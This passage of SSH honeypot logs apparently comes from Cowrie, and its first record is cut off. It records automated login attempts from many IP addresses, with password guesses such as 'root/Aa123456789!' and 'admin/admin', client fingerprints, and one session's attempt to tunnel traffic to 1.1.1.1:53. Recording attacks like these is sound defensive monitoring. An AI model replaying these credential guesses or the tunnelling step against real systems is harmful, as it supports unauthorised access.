16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:08.741623Z","src_ip":"103.77.242.62","session":"3aa054a7a7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22041987","message":"login attempt [root/22041987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:09.492778Z","src_ip":"103.77.242.62","session":"3aa054a7a7b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:10.754002Z","src_ip":"103.77.242.62","session":"3aa054a7a7b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.173.103.113","src_port":56654,"dst_ip":"10.17.0.5","dst_port":22,"session":"748ec223fdbe","protocol":"ssh","message":"New connection: 45.173.103.113:56654 (10.17.0.5:22) [session: 748ec223fdbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:31.583363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:31.588514Z","src_ip":"45.173.103.113","session":"748ec223fdbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:31.690766Z","src_ip":"45.173.103.113","session":"748ec223fdbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.135.235.126","src_port":39352,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7efa6e50d9f","protocol":"ssh","message":"New connection: 115.135.235.126:39352 (10.17.0.5:22) [session: f7efa6e50d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:32.096950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:32.101762Z","src_ip":"115.135.235.126","session":"f7efa6e50d9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Azure","password":"YuLiShoping123...","message":"login attempt [Azure/YuLiShoping123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:32.131082Z","src_ip":"45.173.103.113","session":"748ec223fdbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:32.369655Z","src_ip":"115.135.235.126","session":"f7efa6e50d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:33.235737Z","src_ip":"45.173.103.113","session":"748ec223fdbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"123","message":"login attempt [odoo17/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:33.496455Z","src_ip":"115.135.235.126","session":"f7efa6e50d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:34.803766Z","src_ip":"115.135.235.126","session":"f7efa6e50d9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"153.80.249.112","src_port":46932,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f2daea4a7e2","protocol":"ssh","message":"New connection: 153.80.249.112:46932 (10.17.0.5:22) [session: 1f2daea4a7e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:15.935136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:15.942173Z","src_ip":"153.80.249.112","session":"1f2daea4a7e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:16.028697Z","src_ip":"153.80.249.112","session":"1f2daea4a7e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456789!","message":"login attempt [root/Aa123456789!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:16.412525Z","src_ip":"153.80.249.112","session":"1f2daea4a7e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:17.503484Z","src_ip":"153.80.249.112","session":"1f2daea4a7e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45348,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e7af93f7eb8","protocol":"ssh","message":"New connection: 87.251.64.176:45348 (10.17.0.5:22) [session: 2e7af93f7eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:41.620589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:41.625358Z","src_ip":"87.251.64.176","session":"2e7af93f7eb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:41.719759Z","src_ip":"87.251.64.176","session":"2e7af93f7eb8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:42.096269Z","src_ip":"87.251.64.176","session":"2e7af93f7eb8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:42.192953Z","session":"2e7af93f7eb8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:42.292633Z","src_ip":"87.251.64.176","session":"2e7af93f7eb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:42.388816Z","src_ip":"87.251.64.176","session":"2e7af93f7eb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.8.142","src_port":64828,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fcf49061089","protocol":"ssh","message":"New connection: 104.194.8.142:64828 (10.17.0.5:22) [session: 9fcf49061089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:59.441450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:59.446295Z","src_ip":"104.194.8.142","session":"9fcf49061089","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:59.527886Z","src_ip":"104.194.8.142","session":"9fcf49061089","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:ca:0b:d6:e1:8c:3c:7a:38:ab:97:0c:68:b3:66:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRSb32mE3y6hdXeXBQP+0yuggfRQrmI+SS2YdlcNE1Z7SprnP+vnAyEJQkyzFknxtIy6j5lGltSeIdgsMGqERqaxvqR1iiC2gATEubaXvsjtV/eCwJYFBGwbhKG6MI3Y5A/zrAR2IXcu6ew+kX3K5igBLAa+l9IR3vOxAFXvVv9hLV5VzZE8SFV8dLhaqgqhZxcl1OSPdbEjCsj9Pr72A9w+3NiQxJXGGwGHGme2ojmczbFGIet/5MYvXPxs/RmDdR23XlSDgutYwy0F6CMnfbDbRwGLLFF0u29HxmO812nb741G/7aE2n6byz4kUtVV6xYc4O2QDYFlCgWkdweW5j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:ca:0b:d6:e1:8c:3c:7a:38:ab:97:0c:68:b3:66:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:59.909402Z","src_ip":"104.194.8.142","session":"9fcf49061089","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:ca:0b:d6:e1:8c:3c:7a:38:ab:97:0c:68:b3:66:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRSb32mE3y6hdXeXBQP+0yuggfRQrmI+SS2YdlcNE1Z7SprnP+vnAyEJQkyzFknxtIy6j5lGltSeIdgsMGqERqaxvqR1iiC2gATEubaXvsjtV/eCwJYFBGwbhKG6MI3Y5A/zrAR2IXcu6ew+kX3K5igBLAa+l9IR3vOxAFXvVv9hLV5VzZE8SFV8dLhaqgqhZxcl1OSPdbEjCsj9Pr72A9w+3NiQxJXGGwGHGme2ojmczbFGIet/5MYvXPxs/RmDdR23XlSDgutYwy0F6CMnfbDbRwGLLFF0u29HxmO812nb741G/7aE2n6byz4kUtVV6xYc4O2QDYFlCgWkdweW5j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:59.913516Z","src_ip":"104.194.8.142","session":"9fcf49061089","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:1e:58:c2:be:81:de:8e:1c:c1:f5:37:ba:2c:d9:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDY+EhP0i5wRo38+DuYxiEkh1Cv0M4vWHfzbqQKsTs7WYs/CCu+IqRjOq/S9EVucx05GNPP9n5pI3xRvEtOPxQ+bzehIBwO2bX3arnA49AoYGOTPZ4YjfI0b8pbwXcDXsh12JGzm0+/q44Yj8S/ce/YcpBwZsn0x/BnvzSG/t8xa8jXXUTWgoEWzAavb9LIG1R+LI2tBraTwuDTl5Pbm5CW5IZ0rHljOTU5xSIg3SKrXsHCoE2oqeSgGaaAlpoNJ0VUtnHRTh5qsLrljboOkEN8zemEXkwEdS8eD7EId6FUHgCmhGIw6sh4eIIITAVsT0L6ClLyfPs8+kBReMmRNlLf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:1e:58:c2:be:81:de:8e:1c:c1:f5:37:ba:2c:d9:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:59.995316Z","src_ip":"104.194.8.142","session":"9fcf49061089","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:1e:58:c2:be:81:de:8e:1c:c1:f5:37:ba:2c:d9:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDY+EhP0i5wRo38+DuYxiEkh1Cv0M4vWHfzbqQKsTs7WYs/CCu+IqRjOq/S9EVucx05GNPP9n5pI3xRvEtOPxQ+bzehIBwO2bX3arnA49AoYGOTPZ4YjfI0b8pbwXcDXsh12JGzm0+/q44Yj8S/ce/YcpBwZsn0x/BnvzSG/t8xa8jXXUTWgoEWzAavb9LIG1R+LI2tBraTwuDTl5Pbm5CW5IZ0rHljOTU5xSIg3SKrXsHCoE2oqeSgGaaAlpoNJ0VUtnHRTh5qsLrljboOkEN8zemEXkwEdS8eD7EId6FUHgCmhGIw6sh4eIIITAVsT0L6ClLyfPs8+kBReMmRNlLf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:07:59.998967Z","src_ip":"104.194.8.142","session":"9fcf49061089","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:a6:55:03:10:4c:59:a6:3f:d2:b3:4f:91:57:97:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClcfYg+hcrKGB70s6epaIOXiK0PSEvmpS82gezJGUB4VHKnchRCnsK4/AlOhil4eEBUNUPbiOMtf/0va0hLPViFiNj6bGADhbTjp/WZT+3LD/GbKo+U0TL2ctpSvgLzQjylWuHktf7HLtuonY6a3LQtWyOEieGLZroo/erLWH/o0+DoWlB6GT7aFe7W8iH1ilSDGQRxy8XKh5rIw5jqZurSBjpcq33bwc/xn0ZNqqT84fjMIrEEeG2rXExah63K6qUYR+jlymOD1WCAGQbYE2ldl/9fL1xEjSC6CxRNmRNqG3M+siKc1LH+wTrgVJXd0Om4aZY37kjMMMHe+RQw7CF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:a6:55:03:10:4c:59:a6:3f:d2:b3:4f:91:57:97:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:00.085420Z","src_ip":"104.194.8.142","session":"9fcf49061089","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:a6:55:03:10:4c:59:a6:3f:d2:b3:4f:91:57:97:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClcfYg+hcrKGB70s6epaIOXiK0PSEvmpS82gezJGUB4VHKnchRCnsK4/AlOhil4eEBUNUPbiOMtf/0va0hLPViFiNj6bGADhbTjp/WZT+3LD/GbKo+U0TL2ctpSvgLzQjylWuHktf7HLtuonY6a3LQtWyOEieGLZroo/erLWH/o0+DoWlB6GT7aFe7W8iH1ilSDGQRxy8XKh5rIw5jqZurSBjpcq33bwc/xn0ZNqqT84fjMIrEEeG2rXExah63K6qUYR+jlymOD1WCAGQbYE2ldl/9fL1xEjSC6CxRNmRNqG3M+siKc1LH+wTrgVJXd0Om4aZY37kjMMMHe+RQw7CF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:00.089836Z","src_ip":"104.194.8.142","session":"9fcf49061089","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:ae:4e:5f:d1:ae:ee:08:fc:b1:39:98:3a:6e:4f:f3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILjdjk1znGljbDP5AN7hafyMPWZ0tNcp97syP5BXWkpE","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e8:ae:4e:5f:d1:ae:ee:08:fc:b1:39:98:3a:6e:4f:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:00.174524Z","src_ip":"104.194.8.142","session":"9fcf49061089","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:ae:4e:5f:d1:ae:ee:08:fc:b1:39:98:3a:6e:4f:f3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILjdjk1znGljbDP5AN7hafyMPWZ0tNcp97syP5BXWkpE","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:00.182022Z","src_ip":"104.194.8.142","session":"9fcf49061089","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:3f:45:b9:7e:5c:46:d7:b8:61:9e:bf:32:f6:67:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7TLoukBBDuEBX8a8ThDqGfJwc8D5NgSvL9DwKcnqNG4S5uFjhq0GlZXfhLAcMyD7fej36NJVYFvjGF6IC2u31Be4qYGTGXldXBbSiphVp1p1NxxE26Bf3/VFG6Zl48Eku4yUof9B+b3cRA27uuXLd8q5d2MIzkkQ0zBog4MGg4CRrcMS0f5+oJUtBFegEeMN3WN6AYyQnfR16DZghUyxrcge5ty6LbtrZhwv/sZt1jcfv3hvTqpIxYRS0IvVCw6La2j/HTYI+5QYfHV5gPl/0a/MbIorKGQa52I/VBDU8q1gsOkLwBOAa89VEF0vDqJrQ8JhDpbo1025bK9wNrTkV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:3f:45:b9:7e:5c:46:d7:b8:61:9e:bf:32:f6:67:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:00.271524Z","src_ip":"104.194.8.142","session":"9fcf49061089","protocol":"ssh"}
